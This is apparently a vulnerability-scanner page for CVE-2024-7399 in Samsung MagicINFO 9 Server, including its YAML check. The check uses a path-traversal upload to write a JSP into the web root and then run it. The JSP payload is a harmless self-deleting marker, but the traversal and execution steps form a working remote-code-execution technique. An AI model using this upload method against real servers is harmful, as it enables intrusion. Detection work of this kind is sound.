MagicINFO — 1 vulnerability check
noctis ships 1 vulnerability check for MagicINFO, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Samsung MagicINFO 9 Server Path Traversal File Write RCE
| CVE | CVE-2024-7399 |
|---|---|
| Severity | high · CVSS 8.8 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | script, http_request, set_var, match · highest QoD 97 |
| Feed | tests/vulnerabilities/magicinfo/CVE-2024-7399.yaml |
Uploads a small JSP through the SWUpdateFileUploader servlet with a path traversal in fileName, so it lands in the web-served server directory, then requests it. The JSP prints NOCTIS, the sum of two random numbers and XN, then deletes itself. The finding needs that computed sum, which never appears in the requests, proving the JSP was written and executed.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
POST /MagicInfo/servlet/SWUpdateFileUploader?fileName=./../../../../../../server/{{p.name…with a crafted body - HTTP(S) request
GET /MagicInfo/{{p.name}} - Checks
exec_resp.bodyforNOCTIS[0-9]+XN→ finding QoD 97: Uploaded JSP /MagicInfo/… executed and printed the computed value … (CVE-2024-7399)
Feed source — tests/vulnerabilities/magicinfo/CVE-2024-7399.yaml
uid: a4f4972d-0111-49df-864f-74c707e70ed0
name: "Samsung MagicINFO 9 Server Path Traversal File Write RCE (CVE-2024-7399)"
description: "Uploads a small JSP through the SWUpdateFileUploader servlet with a path traversal in fileName, so it lands in the web-served server directory, then requests it. The JSP prints NOCTIS, the sum of two random numbers and XN, then deletes itself. The finding needs that computed sum, which never appears in the requests, proving the JSP was written and executed."
cves: [CVE-2024-7399]
cvss: 8.8
severity: high
category: rce
confidence_base: 0.30
tags: [samsung, magicinfo, path-traversal, file-upload, rce, kev]
services: [http, https]
author: noctis
version: "1.1.0"
steps:
# 1 — random file name and operands. The JSP computes A+B server-side; the
# requests only carry the expression, never its result, so a page that
# quotes the request (echo/debug page, WAF block page) cannot match.
- id: build
action: script
store_as: p
code: |
let a = rand_int(100000, 999999);
let b = rand_int(100000, 999999);
let name = "noctis_" + rand_hex(6) + ".jsp";
#{ name: name,
want: "NOCTIS" + (a + b) + "XN",
jsp: "<% out.print(\"NOCTIS\" + (" + a + " + " + b + ") + \"XN\"); "
+ "try { new java.io.File(application.getRealPath(request.getServletPath())).delete(); } "
+ "catch (Exception e) { } %>" }
# 2 — write it. The servlet saves UPLOAD_HOME/admin/software/application/
# <millis><fileName>; "./" closes the timestamp component and six "../"
# climb to the MagicINFO install root, whose server/ directory is the
# /MagicInfo web context.
- id: upload-probe
action: http_request
method: POST
path: "/MagicInfo/servlet/SWUpdateFileUploader?fileName=./../../../../../../server/{{p.name}}&deviceType=abc&deviceModelName=test&swVer=123"
port: "{{port}}"
tls_insecure: true
headers:
Content-Type: "text/plain"
body: "{{p.jsp}}"
store_as: upload_resp
- id: init-exec
action: set_var
var_name: exec_resp
var_value: {status: 0, body: ""}
# 3 — run it (only when the servlet exists).
- id: exec-probe
action: http_request
method: GET
path: "/MagicInfo/{{p.name}}"
port: "{{port}}"
tls_insecure: true
store_as: exec_resp
condition: "upload_resp.status >= 200 && upload_resp.status != 404"
- id: rce-match
action: match
source: exec_resp.body
pattern: "NOCTIS[0-9]+XN"
condition: "exec_resp.status == 200 && strstr(exec_resp.body, p.want) != \"\""
on_match:
finding:
confidence_delta: 0.65
qod: 97
evidence: "Uploaded JSP /MagicInfo/{{p.name}} executed and printed the computed value {{p.want}} (CVE-2024-7399)"
stop: true